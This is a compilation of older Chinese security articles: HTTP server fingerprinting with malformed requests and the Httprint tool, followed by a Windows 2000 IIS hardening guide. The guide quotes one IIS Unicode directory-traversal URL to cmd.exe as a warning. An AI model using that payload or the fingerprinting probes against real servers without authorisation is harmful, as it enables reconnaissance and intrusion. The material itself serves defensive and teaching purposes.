    因为这种防火墙措施是采用透过代理服务器进行，在联机用户多时，效率必然受到影响，代理服务器负担很重，所以许多访问Internet的客户软件在内部网络计算机中可能无法正常访问Internet。
    (2)路由器加过滤器完成
    "内部网络--过滤器(Filter)--路由器(Router)--Internet"
    这种结构由路由器和过滤器共同完成从IP地址或域名上对外界计算机访问内部网络的限制，也可以指定或限制内部网络访问Internet。路由器仅对主机上特定的PORT上的数据通讯加以路由，而过滤器则执行筛选、过滤、验证及其安全监控，这样可以很大程度上隔断内外网络间的不正常的访问登录。


Http指纹识别技术

信息来源：黑客X档案
文章作者：欲望之翼
Http指纹识别现在已经成为应用程序安全中一个新兴的话题,Http服务器和Http应用程序安全也已经成为网络安全中的重要一部分.从网络管理的立场来看,保持对各种web服务器的监视和追踪使得Http指纹识别变的唾手可得,Http指纹识别可以使得信息系统和安全策略变的自动化,在基于已经设置了审核策略的特殊的平台或是特殊的web服务器上,安全测试工具可以使用Http指纹识别来减少测试所需要的配置.
本文将介绍现有的Http指纹识别技术,同时也将讨论所遇到的一些问题并且拿出可行的解决方案.
一. 指纹识别理论
指纹的定义是这样的：1是指任何表面上的指尖印象或者是在指尖上蘸上墨水而在纸上留下的的墨水印象；2是指可以用来识别的东西: 如特色、痕迹或特性等揭露起源的东西,表示物体或物质的特色的证据.
指纹识别可以分为两步,一是对指纹进行收集和分类； 二是将未知的指纹同被储存在数据库中的指纹进行比较,从而找出最符合的.
当采集指纹的时候,对物体的所有主要特性的抓取是必要的. 采集较多的细节,可以对第二步产生很大的帮助.当比较指纹的时候,很有可能有几个指纹是被不合适的匹配的,因为可指纹之间微小的差别很容易使识别产生错误,这也要求指纹识别需要很高的技术.
指纹识别技术现在已经是网络安全的已知技术.操作系统指纹识别在任何的网络评估中是一件通常的工作,现在也有很多操作系统指纹识别技术.操作系统指纹识别为什么能成功？那是因为每个操作系统实现TCP/IP协议时有微小的差别,当前比较流行的是利用TCP/IP堆栈进行后操作系统识别,相关工具比如Nmap；还有的是利用ICMP进行操作系统识别,代表工具如Xprobe.
Http指纹识别的原理大致上也是相同的：记录不同服务器对Http协议执行中的微小差别进行识别.Http指纹识别比TCP/IP堆栈指纹识别复杂许多,理由是定制Http服务器的配置文件、增加插件或组件使得更改Http的响应信息变的很容易,这样使得识别变的困难；然而定制TCP/IP堆栈的行为需要对核心层进行修改,所以就容易识别.
二. Banner获取
查看Http应答头信息是Http指纹识别中最简单也是最基础的,我们可以通过一个Tcp客户端比如netcat来实现,一般我们用的比较多的是telnet到80端口,然后发送命令来得到响应信息,这里我们以netcat来做例子,以下是三个不同Http服务器的响应信息：
1：Apache 1.3.23 server:
Http/1.1 200 OK
Date: Mon, 08 Sep 2003 17:10:49 GMT
Server: Apache/1.3.23
Last-Modified: Mon, 08 Sep 2003 03:48:19 GMT
ETag: "32417-c4-3e5d8a83"
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/html

2：Microsoft IIS 5.0 server:
Http/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Mon, 08 Sep 2003 01:41:33 GMT
Date: Mon, 08 Sep 2003 16:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Mon, 08 Sep 2003 15:32:21 GMT
ETag: "b0aac0542e25c31:89d"
Content-Length: 7369
3：Netscape Enterprise 4.1 server:
Http/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 08 Sep 2003 16:19:04 GMT
Content-type: text/html
Last-modified: Mon, 08 Sep 2002 15:37:56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
三. 模糊服务器Banner信息
在很多情况下,获取Banner被证明是一种很好的Http指纹识别方法.但是,网络管理员会选择通过配置或者是增加插件来更改或者是模糊服务器的Banner信息.当然,这样的设置确实是自动的阻止了很多对Http服务器的攻击.
要让服务器返回不同的Banner信息的设置是很简单的,象Apache这样的开放源代码的Http服务器,用户可以在源代码里修改Banner信息,然后重起Http服务就生效了；对于没有公开源代码的Http服务器比如微软的IIS或者是Netscape,可以在存放Banner信息的Dll文件中修改,相关的文章有讨论的,这里不再赘述,当然这样的修改的效果还是不错的.
另一种模糊Banner信息的方法是使用插件,这些插件可以提供自定义的Http应答信息.比如ServerMask这个商业软件就可以提供这样的功能,它是IIS服务器的一个插件,ServerMask不仅模糊了Banner信息,而且会对Http应答头信息里的项的序列进行重新组合,从而来模仿Apache这样的服务器,它甚至有能力扮演成任何一个Http服务器来处理每一个请求.这个软件可以在以下地址找到：
Http://www.port80software.com/products/servermask
下面就是一个被自定义Banner信息的Http服务器的例子,Apache服务器被自定义成了未知服务器：
Http/1.1 403 Forbidden
Date: Mon, 08 Sep 2003 02:41:27 GMT
Server: Unknown-Webserver/1.0
Connection: close
Content-Type: text/html; charset=iso-8859-1
下面是一个使用了ServerMask插件的IIS服务器的例子：
Http/1.1 200 OK
Server: Yes we are using ServerMask
Date: Mon, 08 Sep 2003 02:54:17 GMT
Connection: Keep-Alive
Content-Length: 18273
Content-Type: text/html
Set-Cookie: It works on cookies too=82.3S3.O12.NT2R0RE,4147ON3P,.4OO.; path=/
Cache-control: private
从上面的例子我们可以看到,仅仅从Banner信息来判断Http服务器类型是远远不够的.
四. 协议行为
在执行Http协议时,几乎所有的Http服务器都具有它们独特的方法,如果Http请求是合法并且规则的,Http服务器返回的应答信息是符合RFC里的描述的.但是如果我们发送畸形的Http请求,这些服务器的响应信息就不同了,不同服务器对Http协议行为表现的不同就是Http指纹识别技术的基本根据和原理.
大家还是喜欢看例子,那就让我们来举几个不同的例子吧,我们将分析3种不同Http服务对不同请求所返回的响应信息,这些请求是这样的：
1：HEAD / Http/1.0 发送基本的Http请求
2：DELETE / Http/1.0 发送那些不被允许的请求,比如Delete请求
3：GET / Http/3.0 发送一个非法版本的Http协议请求
4：GET / JUNK/1.0 发送一个不正确规格的Http协议请求
Exp1：基本的Http请求
我们先发送请求HEAD / Http/1.0,然后分析Http响应头里的信息,对头信息里项的排序进行分析.发送的请求命令如下：
C:\>nc apache.example.com 80 //回车,下同
HEAD / Http/1.0 //输入后回车,下同
响应信息：
1:Apache 1.3.23
Http/1.1 200 OK
Date: Mon, 08 Sep 17:10:49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48:19 GMT
ETag: "32417-c4-3e5d8a83"
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/html
2:IIS 5.0
Http/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: Http://iis.example.com/Default.htm
Date: Mon, 08 Sep 20:13:52 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Mon, 08 Sep 2003 10:10:50 GMT
ETag: W/"e0d362a4c335be1:ae1"
Content-Length: 133
3:Netscape Enterprise 4.1
Http/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 08 Sep 2003 06:01:40 GMT
Content-type: text/html
Last-modified: Mon, 08 Sep 2003 01:37:56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
比较结果： Apache头信息里的Server和Date项的排序是不同的.
Exp2：Http DELETE请求
这次,我们将发送DELETE / Http/1.0请求,我们将分析不同Http服务器对非法请求的应答信息的不同.发送的请求命令：
C:\>nc apache.example.com 80
DELETE / Http/1.0
响应信息：
1：Apache 1.3.23
Http/1.1 405 Method Not Allowed
Date: Mon, 08 Sep 2003 17:11:37 GMT
Server: Apache/1.3.23
Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH,
MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
Connection: close
Content-Type: text/html; charset=iso-8859-1
2：IIS 5.0
Http/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Mon, 08 Sep 2003 20:13:57 GMT
Content-Type: text/html
Content-Length: 3184
3：Netscape Enterprise 4.1
Http/1.1 401 Unauthorized
Server: Netscape-Enterprise/4.1
Date: Mon, 08 Sep 2003 06:03:18 GMT
WWW-authenticate: Basic realm="WebServer Server"
Content-type: text/html
Connection: close
比较结果： Apache响应的是"405 Method Not Allowed",IIS响应的是"403 Forbidden",Netscape响应的是 "401 Unauthorized",发现对Delete请求,响应的信息是完全不同的.
Exp3：非法Http协议版本请求
这次我们将发送非法的Http协议版本请求,比如GET / Http/3.0请求,事实上Http 3.0是不存在的,发送请求命令：
C:\>nc apache.example.com 80
GET / Http/3.0
响应信息：
1：Apache 1.3.23
Http/1.1 400 Bad Request
Date: Mon, 08 Sep 2003 17:12:37 GMT
Server: Apache/1.3.23
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2：IIS 5.0
Http/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: Http://iis.example.com/Default.htm
Date: Mon, 08 Sep 2003 20:14:02 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Mon, 08 Sep 2003 20:14:02 GMT
ETag: W/"e0d362a4c335be1:ae1"
Content-Length: 133
3：Netscape Enterprise 4.1
Http/1.1 505 Http Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 08 Sep 2003 06:04:04 GMT
Content-length: 140
Content-type: text/html
Connection: close
比较结果：Apache响应的是"400 Bad Request",IIS忽略了这个请求,响应信息是OK, 还返回了网站根目录的HTML数据信息,Netscape响应的是"505 Http Version Not Supported".
Exp4： 不正确规则协议请求
这次测试主要是对GET / JUNK/1.0. 请求的响应,发送请求命令：
C:\>nc apache.example.com 80
GET / JUNK/1.0
响应信息：
1:Apache 1.3.23
Http/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17:47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48:19 GMT
ETag: "32417-c4-3e5d8a83"
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/html
2:IIS 5.0
Http/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 01 Jan 1999 20:14:34 GMT
Content-Type: text/html
Content-Length: 87
3:Netscape Enterprise 4.1
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
</BODY></HTML>
比较结果：在这里,Apache忽视了不规则的协议"JUNK",还返回了200 "OK" 和根目录的一些信息,IIS响应的是"400 Bad Request",Netscape几乎没有返回Http头信息,相反的却返回了HTML格式的信息来表明这是个错误请求.
测试小结：我们下面列了一个表,我们可以很简单的辨别不同的Http服务器.
服务器 头信息项排序 Delete请求 非法版本 不规则协议
Apache/1.3.23 Date, Server 405 400 200
MS-IIS/5.0 Server, Date 403 200 400
Netscape4.1 Server, Date 401 505 no header
五. 指纹识别工具
这里我们将介绍一个Http指纹识别工具Httprint,它通过运用统计学原理,组合模糊的逻辑学技术,能很有效的确定Http服务器的类型.它可以被用来收集和分析不同Http服务器产生的签名,什么是Http签名呢？Http签名通过16进制转为ASCII码如下：
Microsoft-IIS/5.0
CD2698FD6ED3C295E4B1653082C10D64811C9DC594DF1BD04276E4BB811C9DC5
0D7645B5811C9DC52A200B4C9D69031D6014C217811C9DC5811C9DC52655F350
FCCC535BE2CE6923E2CE6923F2454256E2CE69272576B769E2CE6926CD2698FD
6ED3C295E2CE692009DB9B3E6ED3C2956ED3C2956ED3C2956ED3C295E2CE6923
6ED3C295
Apache/1.3.x
9E431BC86ED3C295811C9DC5811C9DC5050C5D32505FCFE84276E4BB630A04DB
0D7645B5970EE6BB811C9DC5CD37187C11DDC7D78398721EB06FE5D78A91CF57
FCCC535B6ED3C295FCCC535B811C9DC5E2CE69272576B769E2CE69269E431BC8
6ED3C295E2CE69262A200B4C811C9DC5811C9DC5811C9DC5811C9DC5811C9DC5
811C9DC5
Httprint先把一些Http签名信息保存在一个文档里,然后分析那些由Http服务器产生的结果.
当我们发现那些没有例在数据库中的签名信息时,我们可以利用Httprint产生的报告来扩展这个签名数据库,而当Httprint下一次运行时,这些新加的签名信息也就可以使用了.
Httprint可以图形界面运行和命令行下运行,可以运行在Windows、Linux和Mac OS X平台上.
以下是命令行下的帮助文件：
D:\>Httprint
Usage: Httprint {-h <host> | -i <input file>} -s <signatures> [... options]
-h <host> 可以是ip地址ip范围,或者是url地址
-i <input file> 一个包含测试地址的文件,默认文件是input.txt
-s <signatures> 一个包含Http签名的文件,默认是signatures.txt
Options:
-o <output file> 默认的报告文件是"Httprintoutput.html".可以自己定义
-tp <ping timeout> Ping超时时间,默认是1000 ms. 最大是30000 ms.
-t <timeout> 连接和读取超时时间,默认是10000 ms. 最大是100000 ms.
-r <retry> 时间. 默认是3次. 最大是30次.
-P0 不Ping主机.
-? 帮助信息.
例子:
Httprint -h www.target.com -s signatures.txt
Httprint -h Https://www.target.com -s signatures.txt
Httprint -h Http://www.target.com:8080/ -s signatures.txt
Httprint -h 10.0.1.1-10.0.1.254 -s signatures.txt -o 10_0_1_x.html
Httprint -i input.txt -s signatures.txt -o output.html
使用方法是很简单的,下面是Httprint的一次输出结果:
D:\>Httprint -h Http://www.target.com -s signatures.txt
Host: www.target.com is alive...
Finger Printing on Http://www.target.com:80/
Derived Signature:
Apache/1.3.26 (Unix)
9E431BC86ED3C295811C9DC5811C9DC5050C5D32505FCFE84276E4BBC184CB92
0D7645B5811C9DC52A200B4C811C9DC511DDC7D78398721E811C9DC5811C9DC5
E2CE6923E2CE6923E2CE6923811C9DC568D17AAE2576B769E2CE6926811C9DC5
E2CE6923E1CE67B1811C9DC5E2CE6920E2CE69206ED3C2956ED3C295E2CE6920
E2CE69206ED3C295811C9DC568D17AAEE2CE6923
Banner Reported: Apache/1.3.26 (Unix)
Banner Deduced: Apache/1.3.26
Scores:
Microsoft-IIS/4.0: 47
Microsoft-IIS/5.0: 57
Microsoft-IIS/5.0 ASP.NET: 57
Microsoft-IIS/5.1: 57
Microsoft-IIS/6.0: 75
........................... //略去一些
Apache/2.0.x: 70
Apache/1.3.27: 79
Apache/1.3.26: 80
Apache/1.3.[4-24]: 78
............................ //略去一些
Com21 Cable Modem: 49
在上面的例子中,Httprint显示了被测服务器的签名信息,然后将这些信息同数据库中已有的签名进行比较,然后对每一个指纹进行评分,分数最高的也就是最符合的. 在这个例子里, "Apache/1.3.26"是最适合的.
以下是图形界面的抓图：
此主题相关图片如下：

Httprint会产生一个HTML格式的报告,这个报告将对以后的分析产生很大的作用,下面是一个例子的报告：

此主题相关图片如下：

Httprint的功能是强大的,尽管大家可以用ServerMask这样的软件来模糊指纹，但是仍然可以被Httprint这样利用统计学原理进行识别的的软件打败,下面是一个例子：
D:\>Httprint unknown.example.com
Reported signature:
Protected by ServerMask
CD2698FD6ED3C295811C9DC5811C9DC5811C9DC594DF1BD04276E4BB811C9DC5
0D7645B5811C9DC5811C9DC59D69031D6014C217811C9DC5811C9DC580FF2CD2
FCCC535BE2CE6923E2CE6923811C9DC5E2CE69272576B769E2CE69262CEAB43E
6ED3C295FCCC535B811C9DC56ED3C2956ED3C2956ED3C2956ED3C295E2CE6923
6ED3C295
Best Match: Microsoft-IIS/5.0,Microsoft-IIS/5.1
Scores:
Microsoft-IIS/4.0: 86
Microsoft-IIS/5.0: 101
Microsoft-IIS/5.1: 101
Microsoft-IIS/6.0: 56
.............................
Apache/1.3.27: 35
Apache/1.3.26: 36
Apache/1.3.x: 34
..............................
MiniServ/0.01: 15
尽管服务器使用ServerMask迷惑了响应信息, 但是Httprint仍然精确的判断出它是Microsoft-IIS/5.0或5.1


Windows 2000 ADS WEB安全配置教程

文章作者：风萧萧
目前，WIN2000 SERVER是比较流行的服务器操作系统之一，但是要想安全的配置微软的这个操作系统，却不是一件容易的事。本文试图对win2000 SERVER的安全配置进行初步的探讨。
一、 定制自己的WIN2000 SERVER；
1．版本的选择：WIN2000有各种语言的版本，对于我们来说，可以选择英文版或简体中文版，我强烈建议在语言不成为障碍的情况下，请一定使用英文版。要知道，微软的产品是以Bug & Patch而著称的，中文版的Bug远远多于英文版，而补丁一般还会迟至少半个月（也就是说一般微软公布了漏洞后你的机子还会有半个月处于无保护状况）
2．组件的定制：win2000在默认情况下会安装一些常用的组件，但是正是这个默认安装是极度危险的（米特尼科说过，他可以进入任何一台默认安装的服务器，我虽然不敢这么说，不过如果你的主机是WIN2000 SERVER的默认安装，我可以告诉你，你死定了）你应该确切的知道你需要哪些服务，而且仅仅安装你确实需要的服务，根据安全原则，最少的服务+最小的权限=最大的安全。典型的WEB服务器需要的最小组件选择是：只安装IIS的Com Files，IIS Snap-In，WWW Server组件。如果你确实需要安装其他组件，请慎重，特别是：Indexing Service, FrontPage 2000 Server Extensions, Internet Service Manager (HTML)这几个危险服务。
3． 管理应用程序的选择
选择一个好的远程管理软件是非常重要的事，这不仅仅是安全方面的要求，也是应用方面的需要。 Win2000的Terminal Service是基于RDP（远程桌面协议）的远程控制软件，他的速度快，操作方便， 比较适合用来进行常规操作。但是，Terminal Service也有其不足之处，由于它使用的是虚拟桌面，再加上微软编程的不严谨，当你使用Terminal Service进行安装软件或重起服务器等与真实桌面交互的操作时，往往会出现哭笑不得的现象，例如：使用Terminal Service重起微软的认证服务器（Compaq, IBM等）可能会直接关机。所以，为了安全起见，我建议你再配备一个远程控制软件作为辅 助，和Terminal Service互补，象PcAnyWhere就是一个不错的选择。
二、 正确安装WIN2000 SERVER
1．分区和逻辑盘的分配，有一些朋友为了省事，将硬盘仅仅分为一个逻辑盘，所有的软件都装在C驱上，这是很不好的，建议最少建立两个分区，一个系统分区，一个应用程序分区，这是因为，微软的IIS经常会有泄漏源码/溢出的漏洞，如果把系统和IIS放在同一个驱动器会导致系统文件的泄漏甚至入侵者远程获取ADMIN。推荐的安全配置是建立三个逻辑驱动器，第一个大于2G，用来装系统和重要的日志文件，第二个放IIS，第三个放FTP，这样无论IIS或FTP出了安全漏洞都不会直接影响到系统目录和系统文件。要知道，IIS和FTP是对外服务的，比较容易出问题。而把IIS和FTP分开主要是为了防止入侵者上传程序
并从IIS中运行。（这个可能会导致程序开发人员和编辑的苦恼，管他呢，反正你是管理员J）
2．安装顺序的选择：不要觉得：顺序有什么重要？只要安装好了，怎么装都可以的。错！
win2000在安装中有几个顺序是一定要注意的： 首先，何时接入网络：Win2000在安装时有一个漏洞，在你输入Administrator密码后，系统就建立了ADMIN$的共享，但是并没有用你刚刚输入的密码来保护它，这种情况一直持续到你再次启动后，在此期间，任何人都可以通过ADMIN$进入你的机器；同时，只要安装一完成，各种服务就会自动运行，而这时的服务器是满身漏洞，非常容易进入的，因此，在完全安装并配置好win2000 SERVER之前，
一定不要把主机接入网络。 其次，补丁的安装：补丁的安装应该在所有应用程序安装完之后，因为补丁程序往往要替换/修改某些系统文件，如果先安装补丁再安装应用程序有可能导致补丁不能起到应有的效果，例如：IIS的HotFix就要求每次更改IIS的配置都需要安装（变不变态？）
三、 安全配置WIN2000 SERVER
即使正确的安装了WIN2000 SERVER，系统还是有很多的漏洞，还需要进一步进行细致地配置。
1． 端口：端口是计算机和外部网络相连的逻辑接口，也是计算机的第一道屏障，端口配置正确与否直接影响到主机的安全，一般来说，仅打开你需要使用的端口会比较安全，配置的方法是在网卡属性-TCP/IP-高级-选项-TCP/IP筛选中启用TCP/IP筛选，不过对于win2000的端口过滤来说，有一个不好的特性：只能规定开哪些端口，不能规定关闭哪些端口，这样对于需要开大量端口的用户就比较痛苦。
2． 2．IIS：IIS是微软的组件中漏洞最多的一个，平均两三个月就要出一个漏洞，而微软的IIS默认安装又实在不敢恭维，所以IIS的配置是我们的重点，现在大家跟着我一起来：
首先，把C盘那个什么Inetpub目录彻底删掉，在D盘建一个Inetpub（要是你不放心用默认目录名也可以改一个名字，但是自己要记得）在IIS管理器中将主目录指向D:\Inetpub； 其次，那个IIS安装时默认的什么scripts等虚拟目录一概删除
（罪恶之源呀，忘http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe了？
我们虽然已经把Inetpub从系统盘挪出来了，但是还是小心为上），如果你需要什么权限的目录可以自己慢慢建，需要什么权限开什么。（特别注意写权限和执行程序的权限，没有绝对的必要千万不要给） 第三，应用程序配置：在IIS管理器中删除必须之外的任何无用映射，必须指的是ASP, ASA和其他你确实需要用到的文件类型，例如你用到stml等（使用server side include），实际上90%的主机有了上面两个映射就够了，其余的映射几乎每个都有一个凄惨的故事：htw, htr, idq, ida……想知道这些故事？去查以前的漏洞列表吧。什么？找不到在哪里删？在IIS管理器中右击主机->属性->WWW服务编辑->主目录配置->应用程序映射，然后就开始一个个删吧（里面没有全选的，嘿嘿）。接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本（除非你想ASP出错的时候用户知道你的程序/网络/数据库结构）错误文本写什么？随便你喜欢，自己看着办。点击确定退出时别忘了让虚拟站点继承你设定的属性。
为了对付日益增多的cgi漏洞扫描器，还有一个小技巧可以参考，在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件，可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单，大多数CGI扫描器在编写时为了方便，都是通过查看返回页面的HTTP代码来判断漏洞是否存在的，例如，著名的IDQ漏洞一般都是通过取1.idq来检验，如果返回HTTP200，就认为是有这个漏洞，反之如果返回HTTP404就认为没有，如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件，那么所有的扫描无论存不存在漏洞都会返回HTTP200，90%的CGI扫描器会认为你什么漏洞都有，结果反而掩盖了你真正的漏洞，让入侵者茫然无处下手（武侠小说中常说全身漏洞反而无懈可击，难道说的就是这个境界？）不过从个人角度来说，我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。
最后，为了保险起见，你可以使用IIS的备份功能，将刚刚的设定全部备份下来，这样就可以随时恢复IIS的安全配置。还有，如果你怕IIS负荷过高导致服务器满负荷死机，也可以在性能中打开CPU限制，例如将IIS的最大CPU使用率限制在70%。
3．账号安全：
Win2000的账号安全是另一个重点，首先，Win2000的默认安装允许任何用户通过空用户得到系统所有账号/共享列表，这个本来是为了方便局域网用户共享文件的，但是一个远程用户也可以得到你的用户列表并使用暴力法破解用户密码。很多朋友都知道可以通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接，实际上win2000的本地安全策略（如果是域服务器就是在域服务器安全和域安全策略中）就有这样的
选项RestrictAnonymous（匿名连接的额外限制），这个选项有三个值：
0：None. Rely on default permissions（无，取决于默认的权限）
1：Do not allow enumeration of SAM accounts and shares（不允许枚举SAM帐号和共享）
2：No access without explicit anonymous permissions（没有显式匿名权限就不允许访问）
0这个值是系统默认的，什么限制都没有，远程用户可以知道你机器上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum等等，对服务器来说这样的设置非常危险。
1这个值是只允许非NULL用户存取SAM账号信息和共享信息。
2这个值是在win2000中才支持的，需要注意的是，如果你一旦使用了这个值，你的共享估计就全部完蛋了，所以我推荐你还是设为1比较好。
好了，入侵者现在没有办法拿到我们的用户列表，我们的账户安全了……慢着，至少还有一个账户是可以跑密码的，这就是系统内建的administrator，怎么办？我改改改，在计算机管理->用户账号中右击administrator然后改名，改成什么随便你，只要能记得就行了。
不对不对，我都已经改了用户名了，怎么还是有人跑我管理员的密码？幸好我的密码够长，但是这也不是办法呀？嗯，那肯定是在本地或者Terminal Service的登录界面看到的，好吧，我们再来把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\winlogon项中的Don’t Display Last User Name串数据改成1，这样系统不会自动显示上次的登录用户名。
将服务器注册表
HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\ WindowsNT\CurrentVersion\Winlogon项中的Don‘t Display Last User Name串数据修改为1，隐藏上次登陆控制台的用户名。
（哇，世界清静了，无聊中在摸一次屁股~~）

5．安全日志：我遇到过这样的情况，一台主机被别人入侵了，系统管理员请我去追查凶手，
我登录进去一看：安全日志是空的，倒，请记住：Win2000的默认安装是不开任何安全审核的！那么请你到本地安全策略->审核策略中打开相应的审核，推荐的审核是：
账户管理 成功 失败
登录事件 成功 失败
对象访问 失败
策略更改 成功 失败
特权使用 失败
系统事件 成功 失败
目录服务访问 失败
账户登录事件 成功 失败
审核项目少的缺点是万一你想看发现没有记录那就一点都没辙；审核项目太多不仅会占用系统资源而且会导致你根本没空去看，这样就失去了审核的意义。 与之相关的是：
在账户策略->密码策略中设定：
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5次
最长存留期 30天
在账户策略->账户锁定策略中设定：
账户锁定 3次错误登录
锁定时间 20分钟
复位锁定计数 20分钟
同样，Terminal Service的安全日志默认也是不开的，我们可以在Terminal Service Configration
（远程服务配置）-权限-高级中配置安全审核，一般来说只要记录登录、注销事件就可以了。
7.目录和文件权限：
为了控制好服务器上用户的权限，同时也为了预防以后可能的入侵和溢出，我们还必须非常小心地设置目录和文件的访问权限，NT的访问权限分为：读取、写入、读取及执行、修改、列目录、完全控制。在默认的情况下，大多数的文件夹对所有用户（Everyone这个组）是完全敞开的（Full Control），你需要根据应用的需要进行权限重设。
在进行权限控制时，请记住以下几个原则：
1>限是累计的：如果一个用户同时属于两个组，那么他就有了这两个组所允许的所有权限；
2>拒绝的权限要比允许的权限高（拒绝策略会先执行）如果一个用户属于一个被拒绝访问某个资源的组，那么不管其他的权限设置给他开放了多少权限，他也一定不能访问这个资源。所以请非常小心地使用拒绝，任何一个不当的拒绝都有可能造成系统无法正常运行；
3>文件权限比文件夹权限高（这个不用解释了吧？）
4>利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优良习惯之一；
5>仅给用户真正需要的权限，权限的最小化原则是安全的重要保障；
8.一定程度上面预防DoS：
在注册表HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters中更改以下值可以帮助你防御一定强度的DoS攻击
SynAttackProtect REG_DWORD 2
EnablePMTUDiscovery REG_DWORD 0
NoNameReleaseOnDemand REG_DWORD 1
EnableDeadGWDetect REG_DWORD 0
KeepAliveTime REG_DWORD 300,000
PerformRouterDiscovery REG_DWORD 0
EnableICMPRedirects REG_DWORD 0
ICMP攻击：ICMP的风暴攻击和碎片攻击也是NT主机比较头疼的攻击方法，其实应付的方法也很简单，win2000自带一个Routing & Remote Access工具，这个工具初具路由器的雏形（微软真是的，什么都要做？听说最近又要做防火墙了）在这个工具中，我们可以轻易的定义输入输出包过滤器，例如，设定输入ICMP代码255丢弃就表示丢弃所有的外来ICMP报文（让你炸？我丢、丢、丢）
四、需要注意的一些事：
实际上，安全和应用在很多时候是矛盾的，因此，你需要在其中找到平衡点，毕竟服务器是给用户用而不是做OPEN HACK的，如果安全原则妨碍了系统应用，那么这个安全原则也不是一个好的原则。 网络安全是一项系统工程，它不仅有空间的跨度，还有时间的跨度。很多朋友（包括部分系统管理员）认为进行了安全配置的主机就是安全的，其实这其中有个误区：我们只能说一台主机在一定的情况一定的时间上是安全的，随着网络结构的变化、新的漏洞的发现，管理员/用户的操作，主机的安全状况是随时随地变化着的，只有让安全意识和安全制度贯穿整个过程才能做到真正的安全。
五、取消IIS的FSO功能
IIS的FSO功能在很多地方并没有实用价值，但是给HACK却留下了有用的价值，所以能不用的话建议你关闭了他。
关闭FSO命令：
windows98系统
在DOS命令行状态输入以下命令：
关闭命令：RegSvr32 /u C:\WINDOWS\SYSTEM\scrrun.dll
打开命令：RegSvr32 C:\WINDOWS\SYSTEM\scrrun.dll
win2000系统：
在CMD命令行状态输入以下命令：
关闭命令：
RegSvr32 /u C:\WINNT\SYSTEM32\scrrun.dll
打开命令：RegSvr32 C:\WINNT\SYSTEM32\scrrun.dll
本文在撰写过程中参阅了大量Win2000安全的文章，在此向这些作者表示感谢。
附：Win2000 Server入侵监测
上面我们谈到了Win2000 Server的安全配置，经过精心配置的Win2000服务器可以防御90%以上的入侵和渗透，但是，就象上面结束时我所提到的：系统安全是一个连续的过程，随着新漏洞的出现和服务器应用的变化，系统的安全状况也在不断变化着；同时由于攻防是矛盾的统一体，道消魔长和魔消道长也在不断的转换中，因此，再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。
    所以，安全配置服务器并不是安全工作的结束，相反却是漫长乏味的安全工作的开始，本文我们将初步探讨Win2000服务器入侵检测的初步技巧，希望能帮助您长期维护服务器的安全。
  我们这里所说的入侵检测指的是利用Win2000 Server自身的功能及系统管理员自己编写的软件/脚本进行的检测，使用防火墙（Firewall）或入侵监测系统（IDS）的技巧并不在本文的讨论范围之内。
    现在假定：我们有一台Win2000 Server的服务器，并且经过了初步的安全配置（关于安全配置的详情可以参阅Win2000 Server安全配置入门<一>），在这种情况下，大部分的入侵者将被拒之门外。（哈哈，我管理员可以回家睡大觉去了）慢着，我说的是大部分，不是全部，经过初步安全配置的服务器虽然可以防御绝大多数的Script kid（脚本族-只会用别人写的程序入侵服务器的人），遇到了真正的高手，还是不堪一击的。虽然说真正的高手不会随便进入别人的服务器，但是也难保有几个品行不端的邪派高手看上了你的服务器。（我真的这么衰么？）而且，在漏洞的发现与补丁的发布之间往往有一段时间的真空，任何知道漏洞资料的人都可以乘虚而入，这时，入侵检测技术就显得非常的重要。
    入侵的检测主要还是根据应用来进行，提供了相应的服务就应该有相应的检测分析系统来进行保护，对于一般的主机来说，主要应该注意以下几个方面：
1、 基于80端口入侵的检测
    WWW服务大概是最常见的服务之一了，而且由于这个服务面对广大用户，服务的流量和复杂度都很高，所以针对这个服务的漏洞和入侵技巧也最多。对于NT来说，IIS一直是系统管理员比较头疼的一部分（恨不得关了80端口），不过好在IIS自带的日志功能从某种程度上可以成为入侵检测的得力帮手。IIS自带的日志文件默认存放在System32/LogFiles目录下，一般是按24小时滚动的，在IIS管理器中可以对它进行详细的配置。（具体怎么配我不管你，不过你要是不详细记录，回头查不到入侵者的IP可不要哭）
